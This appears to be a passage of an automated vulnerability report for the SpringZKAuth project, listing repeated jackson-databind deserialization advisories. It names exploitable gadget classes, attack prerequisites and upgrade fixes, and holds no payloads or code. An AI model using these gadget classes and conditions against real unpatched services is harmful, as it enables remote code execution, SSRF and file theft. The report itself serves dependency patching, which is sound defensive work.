2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.docx4j.org.apache.xalan.lib.sql.JNDIConnectionPool.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to oadd.org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A malicious user could perform a SSRF attack via the javax.swing gadget (specifically javax.swing.JTextPane).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.5, 2.9.10.7 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. When Default Typing is enabled for an externally exposed JSON endpoint, the service has the mysql-connector-java jar in the classpath. An attacker can host a crafted MySQL server reachable by the victim and send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs due to missing com.mysql.cj.jdbc.admin.MiniAdmin validation.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.9, 2.8.11.4, 2.7.9.6, 2.6.7.3 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.8.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to an incomplete black list (incomplete fix for CVE-2017-7525). This is exploitable by sending maliciously crafted JSON input to the readValue method of the ObjectMapper, bypassing a blacklist that is ineffective if the Spring libraries are available in the classpath.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.8.11, 2.9.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.8.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to an incomplete black list (incomplete fix for CVE-2017-7525 and CVE-2017-17485). This is exploitable via two different gadgets that bypass a blacklist.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

